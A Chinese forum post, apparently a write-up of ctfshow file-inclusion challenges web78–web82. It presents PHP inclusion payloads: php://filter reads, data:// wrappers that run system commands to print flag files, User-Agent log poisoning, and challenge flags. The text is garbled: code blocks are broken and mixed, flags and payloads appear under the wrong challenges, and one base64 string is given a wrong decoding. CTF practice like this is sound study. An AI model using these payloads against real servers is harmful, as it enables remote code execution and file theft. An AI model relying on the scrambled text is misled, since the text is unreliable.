找回密码
 立即注册
首页 业界区 安全 ctfshow-web文件包含(web78-web86)

ctfshow-web文件包含(web78-web86)

娥搽裙 昨天 17:25
ctfshow-web文件包含

web78
  1. [/code][align=center] 1.png [/align]
  2. [align=center] 2.png [/align]
  3. [size=3]方法三:data协议[/size]
  4. data也是利用文件包含漏洞,将输入的代码当作php文件执行。
  5. data协议格式:
  6. [code]?file=php://filter/read=convert.base64-encode/resource=flag.php
复制代码
构造payload:
  1. ctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}
复制代码
将我们输入的当作php文件来执行,以达到读取flag的目的。
3.png

web79
  1. 可以用代替
  2. flag.php可以用*或?代替部分字符</p>或是直接使用base64编码
  3. [code]ctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==等于
复制代码
当你使用hackbar的时候,请使用raw模式发送post请求,否则服务端无法接收到post里的内容。
日志包含
  1. data://[<MIME-type>][;charset=<encoding>][;base64],<data>
复制代码
user-agent里写上
  1. [/code][align=center] 4.png [/align]
  2. [size=4]web80[/size]
  3. [code]
复制代码
5.png

发现有fl0g.php
  1. [/code][align=center] 6.png [/align]
  2. [code]?file=data://text/plain,<?= system("tac fla*") ?>
  3. ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==
  4. PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==等于<?php system('cat flag.php');
复制代码
wbe81
  1. ctfshow{e37fa4f8-13aa-40d3-a57e-dd2af3f4030e}
复制代码
发现比较上一题多了:绕过,我们还是可以使用日志包含
  1. data://[<MIME-type>][;charset=<encoding>][;base64],<data>
复制代码
User-Agent
  1. [/code][align=center] 7.png [/align]
  2. 发现存在fl0g.php,直接读取
  3. [code]
复制代码
8.png
  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date:   2020-09-16 11:25:09
  6. # @Last Modified by:   h1xa
  7. # @Last Modified time: 2020-09-16 11:26:29
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. if(isset($_GET['file'])){
  12.     $file = $_GET['file'];
  13.     $file = str_replace("php", "???", $file);
  14.     $file = str_replace("data", "???", $file);
  15.     include($file);
  16. }else{
  17.     highlight_file(__FILE__);
  18. }
复制代码
web82

session特性与条件竞争

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含 - NPFS - 博客园
[code]

相关推荐

您需要登录后才可以回帖 登录 | 立即注册